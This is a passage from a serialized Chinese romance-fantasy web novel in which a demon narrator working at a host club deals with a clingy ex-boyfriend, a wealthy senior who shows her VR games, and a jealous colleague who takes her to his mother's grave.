我抱着?双臂,斜眼看麦景,“那你呢,你多少钱?” “我——” 他呼吸停滞,怔怔地看着?我,嘴角泛起?一抹苦涩的笑,“我还没工作过。” “那就是免费咯?”我摇头,得意地说:“我不要免费的东西。” 我要狠狠地甩脸色。 “所以你走吧,我不要你。” 麦景看着?我,坐着?不动,手指捏得泛白。 “对不起?。”他说。 “但是我不想走。” 我生气地转过头,睨着?他:“我讨厌你,不要你坐在我旁边,走开走开。” “对不起?。” 他甚至坐近了点,稳如泰山,一瞬不移地盯着?我,笃定道:“如果我走了,你会再也不来?找我,我恐怕也没有机会再接近你了。” “你可以原谅我吗?不原谅也可以……就让我待在你身边吧,不要赶我走。” 我被他的厚脸皮震惊了,几个月前还哭着?跟我分手,现在又死皮赖脸地黏着?不走。 愤怒的情绪很?快消失得干干净净,我看着?他,只有甩脸子甩到抖m身上的无语。 “原不原谅你都没有意义了。” 我说:“我已?经?不需要你了。” 不愁吃不愁穿,我已?经?是个无敌的恶魔了。 麦景嗯了一声,说:“那我待在你身边也可以吧?” “……” 我努努嘴,总觉得太轻易了,于是抬起?食指左右摆动,思考着?该怎么教训他。 打脸剧情一般是什么样?来?着?……拿钱甩脸吗,不行,我要不花钱的活动,那直接打脸吗?我看了眼他白皙的脸颊,又看眼手掌。 “要打我吗?” 麦景又坐近了些,头放在桌上,侧脸对着?我,微微上挑的眼睛斜着看我,这幅长相总是像是在嘲讽,看着人手痒牙痒。 他说:“打吧。” 他试探性?拉着?我的手腕,垂下头,“只要小冬能消气,怎么都可以。” 我郁闷至极,索性直接扇了一巴掌。 啪! 力道很?足,麦景偏过头去,眨了下眼睛,又期期盼盼地朝我看来,低下头。 后面偷看的男公关们浑身一震,不可置信地朝我们看来?。 果然,麦景这家?伙自说自话很?烦人。 我吃了一口巧克力消气,又把桌上的桃子酒喝进肚子。 麦景勾了勾我的手,呼吸浅淡:“小冬……还生气吗?” 我看了他一眼,不说话。 “我知道出尔反尔的人很?过分,但对不起?,我不想再离开了,下次让小冬抛弃我吧,无论你做什么,我都会跟着?你,对不起?,被我这种恶心的人缠上。” 他拿出兜里的东西全部放在桌面上,零零散散。 卡、钥匙、发票、糖……还有个金色的徽章。 他把东西往我面前推。 我指着?卡,问:“密码?” “你的生日。” 我拿走了卡,又拿了颗糖,拆开塞进嘴里。 肩膀碰到肩膀,不知何时,麦景已?经?依靠在旁边,指节磨蹭着?我的手背,我抓住他乱动的手,熟稔地十指扣紧。 不远处的男生频频向我们看来?,他和旁边的男公关说着?话,表情复杂。 麦景手心发烫,紧紧地攥着?我的手,莫名?让我想到了捕蝇草,小时候没有手机只能看固定频道的纪录片,通过电视领悟世界的生存法则。 在没有恶魔、天使?、龙等各种种族的世界里,植物是弱小的,但也能捕捉到飞舞的昆虫。 麦景的视线默不作声,逡巡在我的脸颊上,像是小飞虫,若有若无地彰显存在感。 “小冬毕业后在做什么?” “上班。” 我昂了下头,得意地说:“月薪一万。” “真?好。”他的目光诚挚,打心底里崇拜我,“工作累吗?” “一般般吧。” 每天躺着?腰背会酸。 我打探完敌情,确认这家?店毫无战斗力,麦景虽然长得帅,但难堪大任,必要时刻我会让他不要接客,这样?销量完全比不上我们。 我觉得这个计划完美无缺,拿出手机要把他加回来?,麦景露出笑,在旁边看着?我操作。 刚拉出黑名?单,泉卓逸的消息弹了出来?。 [泉卓逸(1.7有钱有颜有技术)]:人呢? [泉卓逸(1.7有钱有颜有技术)]:还能不能见面啊 [泉卓逸(1.7有钱有颜有技术)]:今天确定不去我那? 我随便回了个表情包,转头发现麦景的视线停滞,嘴角的笑容也僵住了。 “他是?” 我:“跑友。” “跑友。”麦景重复道,眼睛一眨也不眨,黑瞳有些许渗人,他的唇角拉直,不笑时锐利得咄咄逼人。 我慢悠悠把另一杯酒也喝完,松开他的手,起?身打算离开。 麦景跟在我身后,一直跟到楼下,不少他的同事向我们看来?,眼中闪过惊奇。 外面飘着?雪,哗啦啦往脖子里钻,呼吸吐出白雾,面部瞬间紧绷。 我正准备走,麦景叫住我。 他让我等一下,跑回楼上,等回来?时手里多了条围巾,蓝黑色的,不知道用?什么材质做的,泛着?一层柔软的光。 他给?我戴上围巾,又递给?我一把伞,“路上冷,注意保暖。” 我想到关键计划,告诉他:“手机时刻保持通畅,晚一秒我就拉黑你。” 他认真?地点头,注视着?我:“好。” “我说什么,你就要做什么。” “好。” “我让你不接客,你就不准接客。” “……好。”他笑了起?来?,眼睛变成浅浅的月牙。 我空手而来?,带着?银行卡、围巾和伞回来?了。 回来?的时候,泉卓逸正在门口站着?,视线落在围巾上,“你出去买衣服了?” “不是。”我拍拍兜里的卡,开心地往里走,“别人送的。” 泉卓逸跟在我后面,疑神疑鬼:“谁会送你围巾,你就骗我吧,有空出去玩,没空来?见我,连三十秒也没有,你是不是故意气我啊? ” 我停下脚步,盯着?他。 一秒、二秒…… 他咬了下新的唇环,微微弯着?腰,也紧盯着?我,毫不退让。 我:“三十秒了。” 我继续往前走,想着?去查一下卡内余额。 泉卓逸捉住围巾的一角,非要跟着?我,嘴里不停,“摸起?来?竟然还可以,哪里买的,我也要去买一条。” “你下次买的时候想着?我,我可以帮你报销。” “都说了是别人送的。” “谁?” 我正准备说,手机震动,掏出一看,竟然是柯觅山打来?的电话。 泉卓逸注意到屏幕的姓名?,脸色霎时难看,停在原地,眼神晦暗不明?地看着?我。 我拍了他的头,接通电话。 “学妹?” 对面传来?许久没有听过的、清润的声音。 我:“怎么了?” “虽然不该这个时候打扰你,但总觉得手机上发消息很?麻烦,所以拨通了电话。” 他说:“我提前回来?了,周末见一面吧,带你好玩的地方。” 泉卓逸没出声,手指攥紧围巾的一角,眉眼压低。 “好啊。” 我同意了,对面笑了一声,挂断电话。 “他和你说什么了?” 他说话时咬牙切齿,眼中光芒闪动,像是要犯病。 多一事不如少一事。 我睁眼说瞎话:“没什么。” “没什么?” 我笃定地点点头。 泉卓逸冷笑一声,松开手,转身离开—— 作者有话说:为何如此阴湿,总之一物降一物了,算算日子,再过几章富爷出场《 》 40-50 第41章 第?一次拿到银行卡后, 我?才发现上网是搜不到余额,所以?直接问了麦景。 他说具体多少他也不知道,估摸大概一百万吧。 一百万。 我?盯着这个数字瞳孔地震,他竟然还没工作就赚了100万, 怎么做到的?签约费吗? 麦景沉默了一阵, 慢吞吞地回答:对?。 他回复十分迂回, 像是自己也摸不清一样,所以?也不敢用钱,万一是贷款借来的呢?我?花了会不会让我?还? 我?又?去网上搜索,经过一晚上才确认不会追到我?身上, 于是安心挥霍,凌晨用他的卡冲了10个648,又?去买了一堆放在购物车里?乱七八糟的东西。 这凑凑那凑凑, 我?现在也是百万富翁了。 虽然上网发出去有人会说现在A市人均百万,算不上真的有钱人。 我?琢磨了一阵手里?的资产:哥哥、浦真天、泉卓逸……个个都能?赚钱,所以?我?距离有钱人的门槛已经不远,再努努力, 创个业,应该就能?变成?千万,等拿到千万存款,我?就直接忘本上网炫富。 默默定下一个小目标。 第?二天, 泉卓逸不知道发了什么疯, 手机里?塞满了他的消息, 我?在满屏的、密密麻麻的文字里?提取关键词 ——他瘾犯了, 所以?今天晚上必须去。 我?觉得也行,畅玩一整天,最后释放欲望, 岂不是美滋滋。 柯觅山发消息说在路上,我?磨磨蹭蹭起?了床,洗漱完来到客厅。 哥哥正?在整理衣服,手里?拿着围巾,昨天晚上我?塞在书包里?带回来的,他有些疑惑,轻声?问:“小冬,这是你的吗?还是拿错谁的东西了?” “麦景的。” 我?说着,想起?他不认识麦景,于是补充道:“高中的同学,昨天遇到他了。” 我?的衣柜全权由哥哥打理,于是理直气壮让他帮我?拿衣服,他把围巾叠好,进卧室挑了几件衣服,我?没见过,应该是他新买的放进去。 我?换上衣服,告诉他晚上不回来。 此时?浦真天没起?床,哥哥在沙发边站着,手里?握着叠好的围巾,直到我?关上门,他还站在原地。 低调黑亮的轿车已经停在路边,偶尔经过几个路人频频回头,兴奋地跟同行者?说话。 我?走过去时?,司机率先一步下车提我?拉开门,里?面坐着看平板的柯觅山。 我?心里?美滋滋的,因为?路人那诧异羡慕的眼光,终于体会到了一把现实中装逼,格外地畅快。 人逢喜事?精神爽,我?看柯觅山都顺眼了。 他穿着休闲装,衬衫外套着条纹毛衣马甲,深棕色大衣敞开,双腿交叉,皮鞋锃亮,放下平板向我?看来,此时?上次见,他没什么变化,不过眼下多了点黑青,略显疲惫。 柯觅山抬眼:“学妹,好久不见。” “你今天很漂亮。” 我?很纳闷:“我?一直很好看。” 他弯了下眼睛,嘴角漾起?笑?意,“对?啊,不过今天好像格外好看。” 下楼的时?候已经是下午一点,一般人早就吃完饭,但柯觅山不是一般人,他还问我?这个老土的问题。 柯觅山问:“吃饭了吗。” “吃了。” 我?用哥哥的柠檬塞满胃部才出来,柯觅山身上的甜姜时?浓时?淡,吝啬地撩过我?的鼻尖,无法饱腹,只能?当?零食尝个鲜。 “那就好。”他叹了口气,把平板放在腿上,“我?还以?为?学妹和我?一样,来不及吃饭呢。” 我?回他消息的时?候是12点半,说自己才起?来,他没过多久回复好的,马上抵达楼下。 我?眨了下眼,问:“你没吃饭?” “对?啊,早上开了个会,忙到现在。” “哦。”我?了然地点点头,掏出手机开始刷短剧。 “……” 车里?有淡淡的香水味,植物的香气清晰不腻人,我?抬头的时?候,正?好看到司机透过后视镜的视线,他镇定地挪动视线,我?再转头,柯觅山在看平板,嘴角放平,看上去格外冷漠。 注意到我?的视线,他放在腿上的食指点了下,温和地说:“还有二十分钟,你可以?再玩一会。” 我?凑过去看了一眼他的平板,他坦然放在腿上,不遮不掩,甚至往我?面前递来。 写得是看不懂的鸟文。 我?不感兴趣,无聊地躺了回去。 柯觅山脸上笑?意更浓,怡然自得看着平板。 等到达目的地,我?自己开了车门,迫不及待想要呼吸新鲜空气,司机只能绕道去给柯觅山开门。 目的地是在一处人烟稀少、干净到一层不染的高楼大厦间,充满崭新的气息,玻璃反射湛蓝的光,一点也不热闹,往来的人衣冠楚楚,脊背挺直。 车停下不久,穿着制服的男人朝我们跑来,毕恭毕敬地跟柯觅山说话,随后作出欢迎的姿势,指向旁边一栋较矮的楼。 我跟在柯觅山身边,好奇地张望,“这是哪啊?” 看起?来没什么好玩的东西,像是走进某人的公司一样。 柯觅山:“公司。” 我?震惊了,难不成?他说的出来玩是指去公司玩吗?我?瞬间后悔,想要跑路。 他看出我?的情绪,笑?了一下,“不是让你里?工作的,安心吧,你不是喜欢游戏吗,我?带你去体验下产品。” 这个我?喜欢。 我?紧紧跟在他身边。 走进楼栋里?,我?们乘坐能?反光的电梯达到20楼。 几个胸前戴着工牌的人紧张地鞠躬,然后往电梯里?走去,我?能?感受到他们好奇的视线,像是蜗牛爬行留下的轨迹,黏糊糊的。 “学妹的工作怎么样,和上学比起?来如何呢?” “上班好。”我?肯定地说。 不用待在一个地方,还天天有钱拿,虽然观察男公关逐渐变得无聊,但还没到不能?忍受的地步。 “我?还以?为?会怀念以?前呢。” 柯觅山说:“我?倒是怀念以?前在大学的时?候。” 他的手里?拿着平板,旁边还有个助理,时?不时?要在耳边交谈几句,无时?无刻不在工作。 “那可以?回去读书。” 我?想着有钱人刷履历,上个大学也应该简简单单,于是随口道:“你可以?回去读博士。” 他笑?了下,“可不是那么简单的事?。” 他旁边的助理瞧我?了几眼,低头扶眼镜,嘴角险些压不住上提。 柯觅山奇怪,他的助理也奇奇怪怪。 我?们穿过走廊,来到一间办公室门口。 助理打开门。 里?面坐着三四个人,有几个是之前吃饭时?的人,看见我?们,其?中那个男生表情揶揄:“我?说为?什么一下飞机说有事?呢,原来是去接人了。” 蔺竹筱。我?还记得那个女生的名字。她朝我?挥了挥手,拉开凌乱散落着文件的椅子?,“可以?坐这里?。” 不。游戏呢? 我?转头盯着柯觅山。 他云淡风轻地颔首,“我?们去那边。” 办公室还有一道门。 这里?更像是开会地方。 路过的时?候,那个话很多的男生一直盯着我?,笑?得像个偷油老鼠。 蔺竹筱打了他一下,他才停下笑?。 进入另一道门,空间狭小,地面上散乱着线和设备,旁边有个巨大的投影屏幕,地上还有几个球形的沙发。 我?拿起?地上的手柄,眨巴眨巴眼睛,问:“是这个?” “它是其?中一个。” 柯觅山从桌子?上拿下像眼镜一样巨大的东西,他开启电源,递给我?,“戴上试试。” 我?兴奋不已,戴上,终于想起?这东西叫什么,是VR眼镜。 眼前出现选项,手里?多出两个操作器,柯觅山站在我?身边,离得很近,热量从右边源源不断传来,呼吸打在耳畔。 “试试吧。”他的声?音无限放大,“想玩什么都可以?。” 眼前有个世界,耳边还有真实的人,触感新奇,我?像个无头苍蝇,兴致勃勃地点开第?一个游戏。 人类其?实掌握了魔法吧。 凭空捏造出的战斗场景仿佛身临其?境,挥舞手时?,武器毫不犹豫刺穿了对?手。 像真的站在战场上一样。 要是以?前有这种魔法,那我?可以?每天宅在自己的巢穴里?,吃饭的时?候才出去。 人类还发明了手机,简直就是天才。 虽然视线可见全是魔幻的虚拟场景,但我?的身边还有个人,转头时?看不到,他的气息打在我?耳畔,手指按在肩膀上,轻声?问:“感觉如何。” 我?精准地转过头,视线里?的光剑对?准眼中的空地,但有抵住什么的感觉。 手中的操作器下传来平稳的、带着热度的心跳声?。 往上划,似乎抵达咽喉,手腕上落下不轻不重的力道。 轻柔的、像是大提琴奏响的男声?响起?,控制器下传来酥麻的震动感。 “要杀掉我?吗?我?可不是游戏里?的小怪。” 我?用力抵了一下,警告道:“再离近点等会误伤到你。” 他的胸腔震动,短促地笑?了下,离开我?身边。 我?尽情地玩了几个小时?的游戏,等柯觅山叫我?,才意犹未尽摘下眼镜。 他刚开完会,脸上的笑?容减淡,视线移到我?的脸上,依旧温润:“该用餐了,他们在楼下等我?们。” 我?摇头:“我?不去吃饭。” “为?什么?怕不适应吗,没事?他们不会怎么样的。” “只是不想而已。” 我?不喜欢被那些人盯着,虽然想尝尝高端食品,但现在我?有更感兴趣的事?。 我?拿着游戏机,兴致勃勃地说:“你去吃吧,我?还想玩,等你吃完饭再送我?回去。” 柯觅山的笑?容收敛了些,解开袖口的纽扣又?再次扣上,短暂地沉默后点了下头,带上门。 我?继续痛快畅玩,完全想不起?他离开时?的表情。 等我?把游戏都玩过一遍,摘下眼镜时?,外面的天已经完全黑下来了,高楼大厦通亮,能?看到坐成?一排工作的人,困于狭小的办公桌前,和囚犯一样。 人类世界总是有大规模的、按照规则产出的东西,人类也是,按照规则批量生活,总是很多人做同一件事?,总的来说,人类的数量太多了! 不过对?我?这种恶魔来说,越多越好。 活动活动脖颈,胃部饥饿蠕动,下午装满的情感消化殆尽,我?许久没有感觉过的饥饿感,忽然觉得有点新鲜。 我?趴在圆形沙发上,在房间里?躺平,感受着被割裂成?碎片、正?在恢复中的恶魔躯体,修复进度一如既往地慢,但灵魂凝实不少。 远处有脚步声?。 平稳地、由远到近朝着我?走来,在寂静的环境中有条不紊的响起?。 门打开了。 我?眨巴下眼睛,柯觅山也眨了下眼。 他来到我?身边,越过地上散乱的游戏设备,居高临下地看着我?,嘴角噙着温和的笑?,轻轻低下头,看着我?的眼睛。 柯觅山:“尽兴了?” “好玩。”我?伸着懒腰站了起?来,意犹未尽,“如果能?弄到家里?更好了。” “这款产品还没上市。” 他弯眸笑?了下,“你得再等等。” “走吧。”他侧过身体,轻微颔首,“我?送你回家。” “不用。你把我?送到十字路口就行了。” 柯觅山的脚步不停,随口道:“是有事?吗?” “我?要去见泉卓逸,他吵了好几天了。” “……这样啊。” 他语气平淡地说:“这个时?间也该吃饭了。” 他说话温润清朗,往后看了我?一眼,恍然大悟般说:“原来是想着和他吃饭啊,是我?没有提前问你的计划。” 我?砸吧下嘴,甜辣味在嘴里?绽开,辣味缠在舌尖,久久不去,但只有一瞬间,气味又?淡了回去。 等上了车,我?用鼻子?嗅了嗅,企图闻出来他去吃了什么,但他身上干干净净,只有香水味。 开车的司机看了我?好几眼,对?视后笑?了一下。 我?摸摸下巴,看着柯觅山的侧脸,他正?在看平板,不停地切换着文件。 “你没去吃饭吗?” 他抬头看向我?,弯眸笑?:“吃过了。” “吃的什么?” 他的嘴角似乎下降了一些,简短地说:“上次一样,吃的是西餐。” 那可能?是气味被冲散了吧。 我?想。 等到达街口,我?下了车,朝他挥挥手,朝着酒店的方向走去。 柯觅山也是个奇怪的人。 情绪变化和泉卓逸有的一拼。 我?还挺喜欢他身上时?不时?冒出的负面情绪,尤其?是我?无视他的时?候,面上还要笑?,实际早就冒黑气了。 真想看他和泉卓逸一样发病的样子?……肯定很好玩。 我?熟练地进入酒店,按电梯上楼,打开门,屋里?没开灯,一道人影坐在床边,目光绰绰。 我?正?准备开灯,泉卓逸突然开口。 “围巾是他送的?” “谁?” “柯觅山那个贱货。” “不是。” 语气这么冲,难道是发病了? 我?来到床边,发现他没穿上衣,赤裸着胳膊,手臂内侧伤口结疤,被他抓挠破开,血液像口红一样涂开。 “别骗我?了……你连他也喜欢?” 我?很纳闷,我?每句话都是实话啊,为?什么他总觉得我?在骗人。 “不是他。”我?说,“是男友、啊不,前男友送的。”—— 作者有话说:学哥压根没吃饭,一直在开会,被小冬故意无视,又开始生气了 拙拙也是个妙人啊,我觉得这种没有完全服的狗最好玩了,下章再虐他一把,然后让宗老板上桌了[眼镜] 最近我又开始沉迷看小说了! 第42章 泉卓逸不停地问?我, 刨根究底要把?我和麦景的事问?个干干净净。 我问?他到底搞不搞,不搞就回去了。 他冷着脸趴下身,平时?话很多,今天只?是?偶尔飘来几句压抑不住的喘息声, 事后, 他背对着我睡觉, 我抢走被子,舒适地蜷缩成一团。 第二天起?来的时?候,他连打了几个喷嚏,说话瓮声瓮气, 鼻音浓重,像是?感冒了。 一般我会回家一趟,但今天骨头软, 外面冷风狂吹,就和他一起?躺在酒店里,百无聊赖地玩手机。 玩到一半,他忽然说要出?去买衣服, 想要一条围巾,让我陪他去。 我懒得?动,让他自己去买,实在不行网购一条, 等快递送上门。 他见我不答应, 就上来搂着我, 双手双脚缠着我, 骨头硌人,哪里都不舒服,我们在床上打作一团, 把?被子和枕头踢到地上,他抱着我又亲又咬,我实在是?受不了,于是?答应了。 “你想买啥,我给你买,别拽着脸行不,我哪里对你不好了?” “你不懂从被窝出?来的痛苦。” 我垂着头走路,想不明白他为?什?么非要出?来,越看他要笑不笑的脸就来气,于是?扑上他的背,要把?当他坐骑。 他嘴硬说轻轻松松,背着我往商业街走。 他的肩膀也硬,怎么靠都不舒服,我挣扎着要下来,他抱住我的腿,怎么也不松手。 我疯狂挣扎,疯狂抖动,像是?游乐园里的迪斯科转盘,拼命把?自己甩飞。 泉卓逸死死抓着我,最后我们一起?倒下,摔倒在人行道上。 路人绕开我们走路,避之不及,眼神?和看疯子没什?么区别。 我和泉卓逸躺在人行道中间,谁也没动,任由路人用奇怪的眼神?看着,天上飘雪,他又开始打喷嚏。 我坐起?身,抄起?旁边的雪塞进?他的衣领里,果不其然他像触电般蹦了起?来,疯狂抖动衣服,“我草,你疯了!要冷死我啊!” 他脸颊被冻得?发红,绿色眼睛亮得?像雪洗过的叶子,不服气地努着嘴,也抓起?一把?雪想报复我,我赶紧跑,飞快躲进?商场里。 他跑得?比我快,很快抓住我,像斗篷似的,从后面裹住我,要把?我当拐杖,冰凉的雪在他的手心?里融化,只?剩湿漉漉的水,报复性贴在我的脸上,像冰棍一样冻人。 “行,你赢了。” 我放弃挣扎,其实只?是?假装投降,时?刻盯着他的手,想着立马反击。 疯闹了一阵,我们走到哪里,人群的目光就挪到哪,我回想起?刚才的种种行为?,瞬间把?所?有的仇甩到泉卓逸身上,恍若晴天霹雳,我被他的蠢传染了! “买完围巾就松手。” 泉卓逸压着我,胸膛频频震动,我抬头看去,他笑得?格外开心?,眼睛亮晶晶的。 抱着还不够,他又来够我的手,十指相扣牵在一起?。 我们以连体婴的姿态走进?一家服装店,里面的导购似乎认识泉卓逸,赶忙出?来迎接,拿出?当季的新品,挨个展示给他看。 他买了一条,又给我买了一条,我让他换成现金,他直接给我转钱,成功堵住我的嘴。 我们围着崭新的围巾上街,他终于安分了,牵着我的手不犯蠢。 “你那条不好看,以后就戴这个。” “其实我不喜欢戴围巾。” “……那你也不准戴那条!” 他抿住下唇,将?头埋进?新买的围巾里,别扭地说:“你还没说你和那个男的是?怎么在一起?的。” 我皱了下鼻子,用看傻子的眼神?看他:“就是?在学校遇上的呗。” 第一次见面是?在走廊里,麦景靠在墙边不知道在想什?么,我经过的时?候他抬起?头,视线撞在一起?。 就像现在。 穿着黑色羽绒服的男生站在花坛边,头发上淋了点雪,睫毛也泛着白,对视时?眸光亮起?,像重新活过来一样。 泉卓逸停下脚步,顺着我的视线看去。 他挑起?眉,语气不祥:“认识?” 我还没开口,麦景先走了过来,他完全无视了泉卓逸,注视着我,白得?像座冰雕,呼吸吐出?白雾:“小冬,好巧,你来逛街吗?” 我撇了泉卓逸一眼:“陪狗买衣服。” “你——”泉卓逸唇角勾起?,看向麦景时?眉眼下压,冷漠了几分,语气一点就炸,“看不到旁边有人吗?” 麦景礼貌地看了他一眼,然后继续盯着我。 泉卓逸的手不断用力,我直接抽出?手,颔首介绍道:“麦景,我的前男友。” 麦景没说话,垂眸嗯了一声,眸光暗淡,而泉卓逸瞬间变了脸色。 “……今天有够倒霉。” “走。”泉卓逸果断拉了下我,但我停在原地,他瞬间快炸了,质问?道:“你不走难道要和他叙旧吗?!” “我有事。” 我甩开泉卓逸的手,关切地盯着麦景:“你们店最近的业绩怎么样?” 麦景:“比之前好一点了。” “好多少?” 他沉吟片刻,不确定地说:“大概十万吧。” 我倒吸凉气,警惕心?再次发作,才过一天怎么就十倍了?照这个势头下去,岂不是?要崛起??! 泉卓逸冷哼一声,讽刺地笑了起?来,微微眯起?眼睛,毫不留情地说:“什?么店业绩这么拉,也敢拿来出?来说。” 我呵斥道:“你懂什?么,他们店刚开业!” 懂不懂什?么是?莫欺少年穷啊! 泉卓逸盯着我看了几秒,抿着唇,忽然看向麦景,目光尖锐:“……你不会是?男公关吧?” 麦景不做声,像没听到他说话一样。 “呵。” 泉卓逸笑了:“不用看就知道是?骗女人钱,手段无耻的家伙。” 麦景终于将?目光投向他,面无表情,视线冰冷刺骨。 他们对视着,两个人都没什?么好脸色,戾气横生,空气愈发凝重。 我左看右看,主动出?来打圆场,释放和平鸽:“你们都是?男公关,生什?么气啊。” 泉卓逸转头看向我,非常不爽,眉头紧皱:“喂你——” 我摆摆手:“你们聊吧,我先走了,我要回办公室躺着。” 泉卓逸只?能跟上我,脸色尤其难看。 “小冬。” 我转头,麦景站在原地,黑瞳幽深,笑容像是?水面泛起?的波澜,很浅很淡,他的语气轻飘飘的,却有着十足的笃定:“下次再见。” 我刚抬起?手准备告别,泉卓逸猛地抓住我的手,飞快往前走,没给我回头的机会。 但我知道,麦景一定站在原地。 就像游戏定律,每次回头他都会站在原地,不过这次不是?在学校天台上。 泉卓逸闷声走了一路,快到店里的时?候,他冷不丁开口:“你还喜欢他?” 应该是?在问?麦景吧。 他总是?问?来问?去,尤其喜欢问?我喜欢谁。 但喜欢又怎样,不喜欢又怎样? “一般人都会避开前任吧,为?什?么你们能心?平气和地打招呼?”他钻牛角尖,锲而不舍地说,心?中早就有了笃定的答案。 我最不喜欢回答这种问?题。 就算说不,他也有另一个自己版本?的答案。 “你不懂。”我也不回答,故作高深地说,“这和喜不喜欢没关系。” 他倏地说了句什?么,语速飞快,从耳边闪过。 我疑惑道:“你在说什?么?” “明天。” 泉卓逸深呼吸,目光沉沉,心?不在焉地说:“明天晚上可以陪我去个地方吗?” 在我开口拒绝前,他果断使用了钞能力。 “五十万。” 我果断点头:“成交。” 泉卓逸依旧心?不在焉,像是?陷入自己的精神?世界,上班时?不停走神?,引起?客人差评,但他也不在意,自顾自地走神?。 我观察许久,得?出?一个结论。 ——男公关也要找情绪稳定的啊。 像这种时?不时?就爆炸的人,到底是?来工作、还是?来体验人生的? 明天又要出?门了。 说到明天,我的脑中浮现出?麦景的脸,以及他说的那句话笃定的下次见。 我后知后觉地品味到不一样的情绪。 为?什?么笃定……是?挑衅吗? 这个疑惑很快得?到解答。 第二天下午,我和宗朔正在双排打游戏,办公室的突然被推开,穿着羽绒服的麦景好端端站在门口,他看向我,又看向坐在小桌子上的宗朔。 我大为?震惊。 这是?直接上门挑衅?! 他垂下头,表明来意:“我……我是?来应聘的。” “我记得?你是?新开店的员工吧。” 宗朔坐直身体,收起?懒散的表情,挑起?一侧眉:“我们这可不接受墙头草。” 麦景:“我不是?来打两份工的。” 他平静地扔下惊雷:“昨天晚上[温柔乡]突发火灾,被烧了。” 语气像是?在说天气不错。 “……” 宗朔手指摩挲,意味不明地哼笑一声,“才开七天,被烧了,你确定?” “对。”麦景点了点头,目光朝我看来,扯动唇角,露出?有点刻意的、讨好的笑:“这样我可以应聘了吗?” 宗朔默不作声看了我一眼。 他冷漠地说:“可以。” 麦景的店被炸了。 就在昨天晚上,火势汹汹,店长当天就跑路了,留下一群不知所?措的男公关,树倒猴孙散,男公关们分了店里没烧坏的酒水,回家各找各妈。 而麦景的第一反应是?重新找个工作。 ——以上就是?他来到[极乐世界]的全过程。 宗朔也不多问?,在打了个电话后很果断地签了他,签完协议第二天直接上班,让他好好想个艺名。 他转头问?我什?么好。 我想了想,随口说:“麦子吧。” 以前我们讨论过如果成为?铠甲勇士的代称,我是?恶魔勇士,他是?麦子勇士,是?个听起?很有用的、很饱腹的名字。 宗朔没说什?么,让他签完字回去等通知。 麦景点了点头,向我道别,颇为?乖巧地关门走人,出?门不久后,泉卓逸来了,绷着一张脸,完全不顾宗朔在场,情绪失控,问?我麦景是?怎么回事,为?什?么会突然出?现在店里。 我看向宗朔,他也看向我,嘴角抽了下。 宗朔先开了口,语气平静:“他是?来应聘的。” “他的店昨天晚上被火烧了。” 泉卓逸听完,忽然看向我,固执地问?:“你信吗?” 我耸了耸肩膀,摊开双手:“为?什?么不信?” 像是?怒极了,他冷笑一声,默不作声推开门冲出?门,留下面面相觑的我和宗朔。 “生气了。”宗朔总结道,也笑了声,撇下我的眼神?凉凉的,“早就叫你不要招惹他。” 我很疑惑:“你说过吗?” 宗朔看了我几秒,忽然沉沉叹出?气,眉宇间略显烦躁,垂眸看向桌上的合同,视线落在麦景的签名上,沉默片刻,忽然问?:“你和他是?什?么关系。” 我琢磨了下,果断地说:“在高考结束那天,我把?他甩了。” “……你确定?” 宗朔的目光在我的脸上逡巡,“他看着可不像是?被甩的人,反倒像是?条穷追不舍的流浪狗。” 他啧了声,往后薅头发,露出?皱在一起?的眉头,“麻烦。” “你这个家伙知道自己惹了多少麻烦事吗。” 我态度诚实地回答:“不知道。” “行了。”他甩甩手,精疲力竭似的,恢复散漫,“你看好泉卓逸吧。” 我:“为?什?么?” 他看了眼旁边的日历,意味不明地说:“月底,快发工资了。” 但是?泉卓逸这个月的销量很差,也不缺他的工资吧。 或者,他在盼着泉卓逸早点死? 宗朔不愿多说,跑出?去上班了,躲避着我的追问?。 但我还有个好帮手。 [邛浚(小心?诈骗)]:今天吗?今天可是?个日子啊,外卖特大优惠,不限额度领10~20的外卖券啊 [邛浚(小心?诈骗)]:不过某人可能不稀罕外卖券 [世界第一恶魔大人]:快说要点! [邛浚(小心?诈骗)]:大概月圆之夜,抖M们会发狂吧,像狼人一样 [世界第一恶魔大人]:我搜了,你骗人 [邛浚(小心?诈骗)]:真搜?哈哈哈哈开玩笑的啦,其实我也不知道 [邛浚(小心?诈骗)]:不过昨天我看到他和某个人在聊天,最后很生气地离开咯,我还拍了照片 紧接着,聊天框里出?现一张照片。 比起?以往拍到的模糊的动图,这张照片格外清晰,把?泉卓逸不耐烦的表情拍得?清清楚楚,连后面的服务员吃瓜的眼神?也拍进?去了。 他在咖啡店里,正对着一个人,桌面上摆着几张纸,照片定格在泉卓逸满怀怒气,正做完桌面清理大师,起?身往外走的瞬间。 坐在他对面的人没有露出?正脸。 但能看到挺直的背脊,西装质感优良,梳着上流社?会的大背头,放在桌上的手,拇指上戴着镶着徽章的戒指,气势凌人。 我仔仔细细观察照片,得?出?一个结论。 [世界第一恶魔大人]:他的债主追来了? [邛浚(小心?诈骗)]:哈哈哈哈哈哈 [邛浚(小心?诈骗)]:可能吧 [邛浚(小心?诈骗)]:我什?么也不知道哦 发完消息,他接着发来一张自拍,背景阳光灿烂,山的脊背蔓延向远方,但仔细一看,有很多像素点,他站在某个大屏幕前拍照,露出?白牙,笑容像矿泉水般清透。 又是?意味不明的自拍,除了占微O内存外毫无作用。 我叹了口气,放下手机。 算了,还有五十万呢。 我记得?泉卓逸昨天的邀请,他今天一大早便发来了定位,说晚上和他一起?去这个地方。 虽然他生气了,但我还是?要去的。 赚钱嘛。 等我乘车来到指定地点,才发现这是?个大型墓地,入口装修格外豪华隆重,门卫在知道我的名字后,毕恭毕敬地拉开门,说往里面走,到第三?个路灯右转,泉少爷已经等在那里了。 墓地里彻夜长明,一点也不阴森,背景还放着流水鸟叫,气氛静谧。 我往右转,果不其然看到坐在墓碑前的泉卓逸,他旁边摆放着酒瓶,空了几瓶,闷头坐在墓前,像个被遗弃的玩偶。 我来到他旁边,也坐下了。 墓碑上印着的照片是?个女性,泉卓逸的眉眼很像她。 泉卓逸盯着墓碑,过了一会才开始说话。 他的声音沙哑,带着浓重的颓废。 “她是?我的母亲。” 他说:“两年前的今天,她病逝了。” “说来可笑,她在死之前还打了我两巴掌,说我是?个孬种,配不上她的血脉。” “我应该恨她的……但是?,我永远做不到完全地、毫无顾忌地讨厌她,以前她不是?这样,她会把?我抱在怀里,说我是?她最爱的孩子,即使哥哥再厉害,她也最爱我。” “我知道我很笨,父亲讨厌我,哥哥也讨厌我,家里只?有母亲喜欢我。” 泉卓逸沉重地呼出?一口气,着迷般凝视着墓碑上的照片,声音有些颤抖:“但父亲死后,她完全变了。” 